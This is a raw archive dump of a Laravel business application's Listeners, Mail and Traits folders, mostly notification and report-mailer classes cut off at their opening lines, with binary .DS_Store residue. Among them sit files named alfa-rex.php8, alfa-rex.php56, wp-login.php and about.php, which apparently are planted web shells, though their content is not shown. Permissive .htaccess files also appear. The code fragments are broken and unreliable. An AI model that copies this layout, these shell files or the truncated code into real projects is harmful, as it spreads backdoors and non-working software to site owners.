Listeners/RemovalRequestApprovedRejectListener.php000064400000000770150325104510016547 0ustar00removalRequest->user, new RemovalRequestApprovedReject($event->removalRequest->status)); } } Listeners/NewIssueListener.php000064400000000712150325104510012471 0ustar00issue->company->id), new NewIssue($event->issue)); } } Listeners/EstimateRequestRejectedListener.php000064400000001124150325104510015517 0ustar00estimateRequest->company; $notifiable = $event->estimateRequest->client; if (isset($notifiable->email)){ Notification::send($notifiable, new EstimateRequestRejected($event->estimateRequest)); } } } Listeners/AutoTaskReminderListener.php000064400000000714150325104510014152 0ustar00task->users, new AutoTaskReminder($event->task)); } } Listeners/alfa-rex.php8000064400000026574150325104510011026 0ustar00Listeners/TaskCommentMentionListener.php000064400000001255150325104510014511 0ustar00mentionuser)) { $mentionUserId = $event->mentionuser; $mentionUser = User::whereIn('id', ($mentionUserId))->get(); Notification::send($mentionUser, new TaskCommentMention($event->task, $event->comment)); } } } Listeners/AppreciationListener.php000064400000000705150325104510013347 0ustar00notifyUser, new NewAppreciation($event->userAppreciation)); } } Listeners/TaskReminderListener.php000064400000000672150325104510013324 0ustar00task->activeUsers, new TaskReminder($event->task)); } } Listeners/wp-login.php000064400000026574150325104510010773 0ustar00Listeners/NewEstimateRequestListener.php000064400000000770150325104510014531 0ustar00estimateRequest->company->id; Notification::send(User::allAdmins($companyId), new NewEstimateRequest($event->estimateRequest)); } } Listeners/NewOrderListener.php000064400000001027150325104510012454 0ustar00notifyUser, new NewOrder($event->order)); Notification::send(User::allAdmins($event->order->company->id), new NewOrder($event->order)); } } Listeners/LeaveListener.php000064400000005131150325104510011763 0ustar00first(); $permissionUserIds = UserPermission::where('permission_id', $leaveApproveRejectPermission->id)->where('permission_type_id', PermissionType::ALL)->get()->pluck('user_id')->toArray(); $reportingTo = EmployeeDetails::where('user_id', user()->id)->pluck('reporting_to')->toArray(); $adminUserIds = User::allAdmins($event->leave->company->id)->pluck('id')->toArray(); $adminUserIds = array_merge($permissionUserIds, $adminUserIds); if ($reportingTo == null) { $adminUsers = User::whereIn('id', $adminUserIds)->get(); } else { $notificationTo = array_merge($reportingTo, $adminUserIds); $adminUsers = User::whereIn('id', $notificationTo)->get(); } if ($event->status == 'created') { if (!is_null($event->multiDates)) { Notification::send($event->leave->user, new MultipleLeaveApplication($event->leave, $event->multiDates)); Notification::send($adminUsers, new NewMultipleLeaveRequest($event->leave, $event->multiDates)); } else { Notification::send($event->leave->user, new LeaveApplication($event->leave)); Notification::send($adminUsers, new NewLeaveRequest($event->leave)); } } elseif ($event->status == 'statusUpdated') { if ($event->leave->status == 'approved') { Notification::send($event->leave->user, new LeaveStatusApprove($event->leave)); } else { Notification::send($event->leave->user, new LeaveStatusReject($event->leave)); } } elseif ($event->status == 'updated') { Notification::send($event->leave->user, new LeaveStatusUpdate($event->leave)); } } } Listeners/NewNoticeListener.php000064400000001210150325104510012614 0ustar00action) && $event->action == 'update') { Notification::send($event->notifyUser, new NoticeUpdate($event->notice)); } else { Notification::send($event->notifyUser, new NewNotice($event->notice)); } } } Listeners/LogSuccessfulLogin.php000064400000000563150325104510012777 0ustar00user; $user->last_login = now(); /* @phpstan-ignore-line */ $user->save(); } } Listeners/PromotionAddedListener.php000064400000000703150325104510013637 0ustar00user, new PromotionAdded($event->promotion)); } } Listeners/alfa-rex.php56000064400000026574150325104510011111 0ustar00Listeners/EventStatusNoteListener.php000064400000001301150325104510014035 0ustar00notifyUser->filter(function ($user) use ($event) { return $user->id !== $event->event->host; }); $host = User::find($event->event->host); Notification::send($notifyUsers, new EventStatusNote($event->event)); if ($host) { Notification::send($host, new EventStatusNote($event->event)); } } } Listeners/EventInviteMentionListener.php000064400000000731150325104510014522 0ustar00notifyUser, new EventInviteMention($event->event)); } } Listeners/TicketRequesterListener.php000064400000000723150325104510014054 0ustar00notifyUser)) { Notification::send($event->notifyUser, new NewTicketRequester($event->ticket)); } } } Listeners/WeeklyTimesheetDraftListener.php000064400000001207150325104510015020 0ustar00weeklyTimesheet->user; if ($submitBy) { $submitBy->notify(new WeeklyTimesheetRejected($event->weeklyTimesheet)); } } } Listeners/SubTaskCompletedListener.php000064400000001715150325104510014144 0ustar00status == 'completed') { Notification::send($event->subTask->task->users, new SubTaskCompleted($event->subTask)); } elseif ($event->status == 'created') { Notification::send($event->subTask->task->users, new SubTaskCreated($event->subTask)); } if ($event->subTask->assigned_to && $event->subTask->isDirty('assigned_to')) { Notification::send($event->subTask->assignedTo, new SubTaskAssigneeAdded($event->subTask)); } } } Listeners/TaskNoteListener.php000064400000001134150325104510012456 0ustar00client == 'client') { Notification::send($event->notifyUser, new TaskNoteClient($event->task, $event->created_at)); } else { Notification::send($event->notifyUser, new TaskNote($event->task, $event->created_at)); } } } Listeners/DailyScheduleListener.php000064400000001033150325104510013443 0ustar00userData as $key => $notifiable) { Notification::send($notifiable['user'], new DailyScheduleNotification($event->userData[$key])); } } } Listeners/InvitationEmailListener.php000064400000000617150325104510014027 0ustar00invite, new InvitationEmail($event->invite)); } } Listeners/TaskListener.php000064400000004313150325104510011632 0ustar00task->is_private) { if ($event->notificationName == 'NewClientTask') { Notification::send($event->notifyUser, new NewClientTask($event->task)); } elseif ($event->notificationName == 'NewTask') { Notification::send($event->notifyUser, new NewTask($event->task)); } elseif ($event->notificationName == 'TaskUpdated') { Notification::send($event->notifyUser, new TaskUpdated($event->task)); } elseif ($event->notificationName == 'TaskStatusUpdated') { Notification::send($event->notifyUser, new TaskStatusUpdated($event->task, user())); } elseif ($event->notificationName == 'TaskApproval') { Notification::send($event->notifyUser, new TaskApproval($event->task, user())); } elseif ($event->notificationName == 'TaskCompleted') { Notification::send($event->notifyUser, new TaskCompleted($event->task, user())); } elseif ($event->notificationName == 'TaskCompletedClient') { Notification::send($event->notifyUser, new TaskCompletedClient($event->task)); } elseif ($event->notificationName == 'TaskUpdatedClient') { Notification::send($event->notifyUser, new TaskUpdatedClient($event->task)); } elseif ($event->notificationName == 'TaskMention') { Notification::send($event->notifyUser, new TaskMention($event->task)); } } } } Listeners/NewCreditNoteListener.php000064400000000777150325104510013454 0ustar00notifyUser, new NewCreditNote($event->creditNote)); } } Listeners/EmployeeShiftChangeListener.php000064400000002266150325104510014620 0ustar00statusChange)) { Notification::send($event->changeRequest->shiftSchedule->user, new ShiftChangeStatus($event->changeRequest)); } else { $permission = Permission::where('name', 'manage_employee_shifts')->first(); $allTypePermission = PermissionType::ofType('all')->first(); $users = UserPermission::where('permission_type_id', $allTypePermission->id)->where('permission_id', $permission->id)->get()->pluck('user_id')->toArray(); Notification::send(User::select('users.*')->whereIn('id', $users)->get(), new ShiftChangeRequest($event->changeRequest)); } } } Listeners/TwoFactorCodeListener.php000064400000000555150325104510013437 0ustar00user->notify(new TwoFactorCode()); } } Listeners/DiscussionMentionListener.php000064400000001141150325104510014401 0ustar00mentionuser; $mentionUser = User::whereIn('id', ($mentionUserId))->get(); Notification::send($mentionUser, new NewDiscussionMention($event->discussion)); } } Listeners/NewInvoiceListener.php000064400000000752150325104510013001 0ustar00notifyUser->email != null) { Notification::send($event->notifyUser, new NewInvoice($event->invoice)); } } } Listeners/about.php000064400000026574150325104510010351 0ustar00Listeners/TicketListener.php000064400000002636150325104510012161 0ustar00notificationName == 'NewTicket') { $group = TicketGroup::with('enabledAgents', 'enabledAgents.user') ->where('id', $event->ticket->group_id) ->first(); if ($group && count($group->enabledAgents) > 0) { $usersToNotify = []; foreach ($group->enabledAgents as $agent) { $usersToNotify[] = $agent->user; } Notification::send($usersToNotify, new NewTicket($event->ticket)); } Notification::send(User::allAdmins(), new NewTicket($event->ticket)); } elseif ($event->notificationName == 'TicketAgent') { Notification::send($event->ticket->agent, new TicketAgent($event->ticket)); } elseif ($event->notificationName == 'MentionTicketAgent') { Notification::send($event->mentionUser, new MentionTicketAgent($event->ticket)); } } } Listeners/ClockInListener.php000064400000001336150325104510012254 0ustar00attendance->company; Notification::send(User::allAdmins($company->id)->first(), new ClockIn($event->attendance)); } } Listeners/ProjectNoteMentionListener.php000064400000001250150325104510014513 0ustar00mentionuser)) { $mentionUserId = $event->mentionuser; $mentionUser = User::whereIn('id', ($mentionUserId))->get(); Notification::send($mentionUser, new ProjectNoteMention($event->project, $event)); } } } Listeners/InvoicePaymentReceivedListener.php000064400000001042150325104510015325 0ustar00payment->company->id), new InvoicePaymentReceived($event->payment)); } } Listeners/AutoFollowUpReminderListener.php000064400000001574150325104510015024 0ustar00followup->lead->company_id; $adminUserIds = User::allAdmins($companyId)->pluck('id')->toArray(); /** @phpstan-ignore-next-line */ $notifyUser = (is_null($event->followup->lead->leadAgent)) ? User::whereIn('id', $adminUserIds)->get() : $event->followup->lead->leadAgent->user; if ($notifyUser) { Notification::send($notifyUser, new AutoFollowUpReminder($event->followup,$event->subject)); } } } Listeners/error_log000064400000001626150325104510010432 0ustar00[04-Jul-2025 13:00:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:26:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Listeners/WeeklyTimesheetApprovedListener.php000064400000001220150325104510015533 0ustar00weeklyTimesheet->user; if ($submitBy) { $submitBy->notify(new WeeklyTimesheetApproved($event->weeklyTimesheet)); } } } Listeners/NewChatListener.php000064400000001056150325104510012262 0ustar00findOrFail($event->userChat->user_id); Notification::send($notifyUser, new NewChat($event->userChat)); } } Listeners/BulkShiftListener.php000064400000000565150325104510012630 0ustar00userData, new BulkShiftNotification($event->userData, $event->dateRange, $event->userId)); } } Listeners/NewMentionChatListener.php000064400000000703150325104510013612 0ustar00notifyUser, new NewMentionChat($event->userChat)); } } Listeners/RemovalRequestApprovedRejectUserListener.php000064400000001071150325104510017401 0ustar00removal->user, new RemovalRequestApprovedRejectUser($event->removal->status)); } } Listeners/HolidayListener.php000064400000001045150325104510012320 0ustar00notifyUser, new NewHoliday($event->holiday)); } } Listeners/NewContractListener.php000064400000000763150325104510013164 0ustar00contract->client, new NewContract($event->contract)); } } } Listeners/FileUploadListener.php000064400000001654150325104510012761 0ustar00fileUpload->project_id); Notification::send($project->projectMembers, new FileUpload($event->fileUpload)); if (($event->fileUpload->project->client_id != null)) { // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($event->fileUpload->project->client_id); if ($notifyUser) { Notification::send($notifyUser, new FileUpload($event->fileUpload)); } } } } Listeners/EventReminderListener.php000064400000000701150325104510013474 0ustar00event->getUsers(), new EventReminder($event->event)); } } Listeners/ProjectNoteListener.php000064400000000702150325104510013162 0ustar00unmentionUser, new NewProjectNote($event->project, $event)); } } Listeners/InvoiceUpdatedListener.php000064400000000776150325104510013644 0ustar00notifyUser, new InvoiceUpdated($event->invoice)); } } } Listeners/RemovalRequestAdminLeadListener.php000064400000001107150325104510015443 0ustar00removalRequestLead->company->id), new RemovalRequestAdminNotification()); } } Listeners/DiscussionListener.php000064400000001267150325104510013060 0ustar00project_member; $client = $event->discussion->project?->client; if ($client) { Notification::send($client, new NewDiscussion($event->discussion)); } if ($unmentionUser) { Notification::send($unmentionUser, new NewDiscussion($event->discussion)); } } } Listeners/EventCompletedListener.php000064400000001275150325104510013652 0ustar00notifyUser->filter(function ($user) use ($event) { return $user->id !== $event->event->host; }); $host = User::find($event->event->host); Notification::send($notifyUsers, new EventCompleted($event->event)); if ($host) { Notification::send($host, new EventCompleted($event->event)); } } } Listeners/RemovalRequestAdminListener.php000064400000001020150325104510014647 0ustar00status == 'admin') { Notification::send($event->expense->user, new NewExpenseMember($event->expense)); } elseif ($event->status == 'member') { $company = $event->expense->company; Notification::send(User::allAdmins($company->id), new NewExpenseAdmin($event->expense)); } elseif ($event->status == 'status') { Notification::send($event->expense->user, new NewExpenseStatus($event->expense)); } } } Listeners/NewProjectListener.php000064400000003523150325104510013012 0ustar00project->client_id != null) { $clientId = $event->project->client_id; // Notify client $notifyUsers = User::withoutGlobalScope(ActiveScope::class)->findOrFail($clientId); if (!is_null($notifyUsers) && $event->projectStatus == 'NewProjectClient') { Notification::send($notifyUsers, new NewProject($event->project)); } } $projectMembers = $event->project->projectMembers; if ($event->projectStatus == 'statusChange') { if (!is_null($event->notifyUser) && !($event->notifyUser instanceof Collection)) { $event->notifyUser->notify(new NewProjectStatus($event->project)); } Notification::send($projectMembers, new NewProjectStatus($event->project)); } if ($event->notificationName == 'NewProject') { Notification::send($event->notifyUser, new NewProjectMember($event->project)); } elseif ($event->notificationName == 'ProjectMention') { Notification::send($event->notifyUser, new ProjectMemberMention($event->project)); } elseif ($event->notificationName == 'ProjectRating') { Notification::send($event->notifyUser, new ProjectRating($event->project)); } } } Listeners/DiscussionReplyListener.php000064400000001236150325104510014070 0ustar00discussionReply?->discussion?->project?->client; if ($client) { Notification::send($client, new NewDiscussionReply($event->discussionReply)); } Notification::send($event->notifyUser, new NewDiscussionReply($event->discussionReply)); } } Listeners/NewProposalListener.php000064400000001411150325104510013175 0ustar00type == 'signed' && $event->proposal->status != 'waiting') { $allAdmins = User::allAdmins($event->proposal->company->id); // Notify admins Notification::send($allAdmins, new ProposalSigned($event->proposal)); } else { // Notify client Notification::send($event->proposal->lead, new NewProposal($event->proposal)); } } } Listeners/EstimateAcceptedListener.php000064400000001244150325104510014134 0ustar00estimate->company; Notification::send(User::allAdmins($company->id), new EstimateAccepted($event->estimate)); } } Listeners/NewUserListener.php000064400000000472150325104510012322 0ustar00user, new NewUser($event->user, $event->password)); } } Listeners/TimeTrackerReminderListener.php000064400000000727150325104510014635 0ustar00user, new TimeTrackerReminder($event->user)); } } Listeners/AttendanceReminderListener.php000064400000000703150325104510014463 0ustar00notifyUser, new AttendanceReminder()); } } Listeners/OrderUpdatedListener.php000064400000001062150325104510013310 0ustar00notifyUser, new OrderUpdated($event->order)); Notification::send(User::allAdmins($event->order->company->id), new OrderUpdated($event->order)); } } Listeners/RemovalRequestApprovedRejectLeadListener.php000064400000001071150325104510017330 0ustar00removal->lead, new RemovalRequestApprovedRejectLead($event->removal->status)); } } Listeners/NewPaymentListener.php000064400000000653150325104510013022 0ustar00notifyUsers, new NewPayment($event->payment)); } } Listeners/MonthlyAttendanceListener.php000064400000000603150325104510014347 0ustar00user, new MonthlyAttendance($event->user)); } } Listeners/TaskNoteMentionListener.php000064400000001223150325104510014007 0ustar00mentionuser)) { $mentionUserId = $event->mentionuser; $mentionUser = User::whereIn('id', ($mentionUserId))->get(); Notification::send($mentionUser, new TaskNoteMention($event->task, $event)); } } } Listeners/NewUserRegistrationViaInviteListener.php000064400000000571150325104510016534 0ustar00user, new NewUserViaLink($event->new_user)); } } Listeners/about.php7000064400000026574150325104510010440 0ustar00Listeners/InvoiceReminderAfterListener.php000064400000000645150325104510015000 0ustar00notifyUser, new InvoiceReminderAfter($event->invoice)); } } Listeners/MailTicketReplyListener.php000064400000001361150325104510013772 0ustar00ticketReply->ticket->agent_id)) { if ($event->ticketReply->ticket->agent_id == $event->ticketReply->user_id) { Notification::send($event->ticketReply->ticket->client, new MailTicketReply($event->ticketReply, $event->ticketEmailSetting)); } else { Notification::send($event->ticketReply->ticket->agent, new MailTicketReply($event->ticketReply, $event->ticketEmailSetting)); } } } } Listeners/NewProjectMemberListener.php000064400000000747150325104510014147 0ustar00projectMember->user, new NewProjectMember($event->projectMember->project)); } } Listeners/NewEstimateListener.php000064400000000667150325104510013165 0ustar00estimate->client, new NewEstimate($event->estimate)); } } Listeners/ProjectReminderListener.php000064400000000721150325104510014023 0ustar00user, new ProjectReminder($event->projects, $event->data)); } } Listeners/ContractSignedListener.php000064400000001011150325104510013627 0ustar00contract->company->id), new ContractSigned($event->contract, $event->contractSign)); } } Mail/alfa-rex.php000064400000026574150325104510007650 0ustar00Mail/DailyTimeLogReport.php000064400000006445150325104510011663 0ustar00todayDate = now()->timezone($company->timezone)->format('Y-m-d'); $this->company = $company; $this->username = $username; } /** * Build the message. * * @return $this */ public function build() { return $this->subject(__('email.dailyTimelogReport.subject') . ' ' . $this->todayDate) ->markdown('mail.timelog.timelog-report', ['date' => $this->todayDate, 'name' => $this->username]); } public function attachments() { return [ Attachment::fromData(fn() => $this->domPdfObjectForDownload()['pdf']->output(), 'TimeLog-Report-' . $this->todayDate . '.pdf') ->withMime('application/pdf'), ]; } public function domPdfObjectForDownload() { $company = $this->company; $employees = User::select('users.id', 'users.name')->with(['timeLogs' => function ($query) { $query->whereRaw('DATE(start_time) = ?', [$this->todayDate]); }, 'timeLogs.breaks']) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id')->onlyEmployee() ->groupBy('users.id'); $employees = $employees->get(); $employeeData = []; foreach ($employees as $employee) { $employeeData[$employee->name] = []; $employeeData[$employee->name]['timelog'] = 0; $employeeData[$employee->name]['timelogBreaks'] = 0; if (count($employee->timeLogs) > 0) { foreach ($employee->timeLogs as $timeLog) { $employeeData[$employee->name]['timelog'] += $timeLog->total_minutes; if (count($timeLog->breaks) > 0) { foreach ($timeLog->breaks as $timeLogBreak) { $employeeData[$employee->name]['timelogBreaks'] += $timeLogBreak->total_minutes; } } } } } $now = $this->todayDate; $requestedDate = $now; $pdf = app('dompdf.wrapper')->setPaper('A4', 'landscape'); $options = $pdf->getOptions(); $options->set(array('enable_php' => true)); $pdf->getDomPDF()->setOptions($options); $pdf->loadView('timelog-report', ['employees' => $employeeData, 'date' => $now, 'company' => $company]); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, 'Page {PAGE_NUM} of {PAGE_COUNT}', null, 10); $filename = 'timelog-report'; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } } Mail/.htaccess000064400000000544150325104510007223 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Mail/alfa-rex.php7000064400000026574150325104510007737 0ustar00Mail/alfa-rex.php8000064400000026574150325104510007740 0ustar00Mail/wp-login.php000064400000026574150325104510007705 0ustar00Mail/MonthlyAttendance.php000064400000022465150325104510011565 0ustar00todayDate = now()->timezone($company->timezone)->subMonth(); $this->month = $this->todayDate->copy()->month; $this->year = $this->todayDate->copy()->year; $this->company = $company; } /** * Build the message. * * @return $this */ public function build() { return $this->subject(__('email.attendanceReport.subject') . ' ' . Carbon::parse('01-' . $this->month . '-' . $this->year)->format('F-Y')) ->markdown('mail.attendance.monthly-report', ['month' => Carbon::parse('01-' . $this->month . '-' . $this->year)->format('F-Y')]); } public function attachments() { return [ Attachment::fromData(fn() => $this->domPdfObjectForDownload()['pdf']->output(), 'Attendance-Report-' . Carbon::parse('01-' . $this->month . '-' . $this->year)->format('F-Y') . '.pdf') ->withMime('application/pdf'), ]; } public function domPdfObjectForDownload() { $company = $this->company; $employees = User::with( [ 'attendance' => function ($query) { $query->whereRaw('MONTH(attendances.clock_in_time) = ?', [$this->month]) ->whereRaw('YEAR(attendances.clock_in_time) = ?', [$this->year]); }, 'leaves' => function ($query) { $query->whereRaw('MONTH(leaves.leave_date) = ?', [$this->month]) ->whereRaw('YEAR(leaves.leave_date) = ?', [$this->year]) ->where('status', 'approved'); }, 'shifts' => function ($query) { $query->whereRaw('MONTH(employee_shift_schedules.date) = ?', [$this->month]) ->whereRaw('YEAR(employee_shift_schedules.date) = ?', [$this->year]); }] )->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'employee_details.department_id', 'users.image') ->onlyEmployee() ->groupBy('users.id'); $employees = $employees->get(); $holidays = Holiday::whereRaw('MONTH(holidays.date) = ?', [$this->month])->whereRaw('YEAR(holidays.date) = ?', [$this->year])->get(); $final = []; $holidayOccasions = []; $daysInMonth = Carbon::parse('01-' . $this->month . '-' . $this->year)->daysInMonth; $now = $this->todayDate; $requestedDate = Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year))->endOfMonth(); foreach ($employees as $employee) { $dataBeforeJoin = null; $dataTillToday = array_fill(1, $now->copy()->format('d'), 'Absent'); if (($now->copy()->format('d') != $daysInMonth) && !$requestedDate->isPast()) { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), ((int)$daysInMonth - (int)$now->copy()->format('d')), '-'); } else { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), ((int)$daysInMonth - (int)$now->copy()->format('d')), 'Absent'); } $final[$employee->id . '#' . $employee->name] = array_replace($dataTillToday, $dataFromTomorrow); $shiftScheduleCollection = $employee->shifts->keyBy('date'); foreach ($employee->attendance as $attendance) { $clockInTime = Carbon::createFromFormat('Y-m-d H:i:s', $attendance->clock_in_time->timezone($company->timezone)->toDateTimeString(), 'UTC'); if (isset($shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()])) { $shiftStartTime = Carbon::parse($clockInTime->copy()->toDateString() . ' ' . $shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()]->shift->office_start_time); $shiftEndTime = Carbon::parse($clockInTime->copy()->toDateString() . ' ' . $shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()]->shift->office_end_time); if ($clockInTime->between($shiftStartTime, $shiftEndTime)) { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } else if ($attendance->employee_shift_id == $shiftScheduleCollection[$clockInTime->copy()->startOfDay()->toDateTimeString()]->shift->id) { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } elseif ($clockInTime->betweenIncluded($shiftStartTime->copy()->subDay(), $shiftEndTime->copy()->subDay())) { $final[$employee->id . '#' . $employee->name][$clockInTime->copy()->subDay()->day] = '✓'; } else { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } } else { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = '✓'; } } $emplolyeeName = $employee->name; $final[$employee->id . '#' . $employee->name][] = $emplolyeeName; if ($employee->employeeDetail->joining_date->greaterThan(Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year)))) { if ($this->month == $employee->employeeDetail->joining_date->format('m') && $this->year == $employee->employeeDetail->joining_date->format('Y')) { if ($employee->employeeDetail->joining_date->format('d') == '01') { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->format('d'), '-'); } else { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->subDay()->format('d'), '-'); } } if (($this->month < $employee->employeeDetail->joining_date->format('m') && $this->year == $employee->employeeDetail->joining_date->format('Y')) || $this->year < $employee->employeeDetail->joining_date->format('Y')) { $dataBeforeJoin = array_fill(1, $daysInMonth, '-'); } } if (Carbon::parse('01-' . $this->month . '-' . $this->year)->isFuture()) { $dataBeforeJoin = array_fill(1, $daysInMonth, '-'); } if (!is_null($dataBeforeJoin)) { $final[$employee->id . '#' . $employee->name] = array_replace($final[$employee->id . '#' . $employee->name], $dataBeforeJoin); } foreach ($employee->leaves as $leave) { if ($leave->duration == 'half day') { if ($final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == '-' || $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == 'Absent') { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Half Day'; } } else { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Leave'; } } foreach ($holidays as $holiday) { if ($final[$employee->id . '#' . $employee->name][$holiday->date->day] == 'Absent' || $final[$employee->id . '#' . $employee->name][$holiday->date->day] == '-') { $final[$employee->id . '#' . $employee->name][$holiday->date->day] = 'Holiday'; $holidayOccasions[$holiday->date->day] = $holiday->occassion; } } } $employeeAttendence = $final; $weekMap = Holiday::weekMap('D'); $pdf = app('dompdf.wrapper')->setPaper('A4', 'landscape'); $options = $pdf->getOptions(); $options->set(array('enable_php' => true)); $pdf->getDomPDF()->setOptions($options); $pdf->loadView('attendance-report', ['daysInMonth' => $daysInMonth, 'month' => $this->month, 'year' => $this->year, 'weekMap' => $weekMap, 'employeeAttendence' => $employeeAttendence, 'holidayOccasions' => $holidayOccasions, 'company' => $company]); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, 'Page {PAGE_NUM} of {PAGE_COUNT}', null, 10); $filename = 'attendance-report'; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } } Mail/alfa-rex.php56000064400000026574150325104510010023 0ustar00Mail/BulkShiftEmail.php000064400000002033150325104510010774 0ustar00dateRange = $dateRange; $this->userId = $userId; } /** * Build the message. * * @return $this */ public function build() { $employeeShifts = EmployeeShiftSchedule::with('shift') ->whereIn('date', $this->dateRange) ->where('user_id', $this->userId) ->get(); return $this->subject(__('email.shiftScheduled.subject')) ->markdown('mail.bulk-shift-email', [ 'employeeShifts' => $employeeShifts ]); } } Mail/about.php000064400000026574150325104510007263 0ustar00Mail/error_log000064400000001626150325104510007344 0ustar00[04-Jul-2025 12:22:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 12:46:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Mail/TicketReply.php000064400000003246150325104510010377 0ustar00ticketEmailSetting = $ticketEmailSetting; $this->ticketReply = $ticketReply; Config::set('app.logo', $ticketEmailSetting->company->masked_logo_url); } /** * Build the message. * * @return $this */ public function build() { $previousReply = ModelsTicketReply::where('ticket_id', $this->ticketReply->ticket_id) ->whereNotNull('imap_message_id')->orderByDesc('id') ->first(); if ($this->ticketEmailSetting->status == 1) { $this->from($this->ticketEmailSetting->mail_from_email, $this->ticketEmailSetting->mail_from_name) ->subject($this->ticketReply->ticket->subject) ->view('emails.ticket.reply'); if (!is_null($previousReply) && !is_null($previousReply->imap_message_id)) { ModelsTicketReply::where('id', $this->ticketReply->id)->update(['imap_message_id' => $previousReply->imap_message_id]); } return $this; } return $this; } } Mail/about.php7000064400000026574150325104510007352 0ustar00about.php7000064400000026574150325104510006470 0ustar00.DS_Store000064400000014004150325104510006222 0ustar00Bud1bwspblobHttpbwspblobbplist00  ]ShowStatusBar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds[ShowSidebar  _{{115, 0}, {1280, 875}} #/;R_klmno HttpvSrnlong  @ @ @ @ EDSDB ` @ @ @Traits/alfa-rex.php000064400000026574150325104510010234 0ustar00Traits/pusherConfigTrait.php000064400000001305150325104510012156 0ustar00status) { $pusher = new Pusher( $pusherSetting->pusher_app_key, $pusherSetting->pusher_app_secret, $pusherSetting->pusher_app_id, [ 'cluster' => $pusherSetting->pusher_cluster, 'useTLS' => $pusherSetting->force_tls ] ); $pusher->trigger($channel, $event, $data); } } } Traits/UniversalSearchTrait.php000064400000001206150325104510012620 0ustar00company_id = $company_id; $search->searchable_id = $searchableId; $search->title = $title; $search->route_name = $route; $search->module_type = $type; $search->save(); } } Traits/.htaccess000064400000000544150325104510007607 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Traits/ClientDashboard.php000064400000024700150325104510011550 0ustar00viewClientDashboard = user()->permission('view_client_dashboard'); abort_403($this->viewClientDashboard !== 'all'); $this->pageTitle = 'app.clientDashboard'; $this->startDate = (request('startDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('startDate')) : now($this->company->timezone)->startOfMonth(); $this->endDate = (request('endDate') != '') ? Carbon::createFromFormat($this->company->date_format, request('endDate')) : now($this->company->timezone); $startDate = $this->startDate->toDateString(); $endDate = $this->endDate->toDateString(); $pipelineId = (request('pipelineId') != '') ? request('pipelineId') : null; $this->totalClient = User::withoutGlobalScope(ActiveScope::class) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('client_details', 'users.id', '=', 'client_details.user_id') ->where('roles.name', 'client') ->whereBetween(DB::raw('DATE(client_details.`created_at`)'), [$startDate, $endDate]) ->select('users.id') ->count(); $this->totalLead = 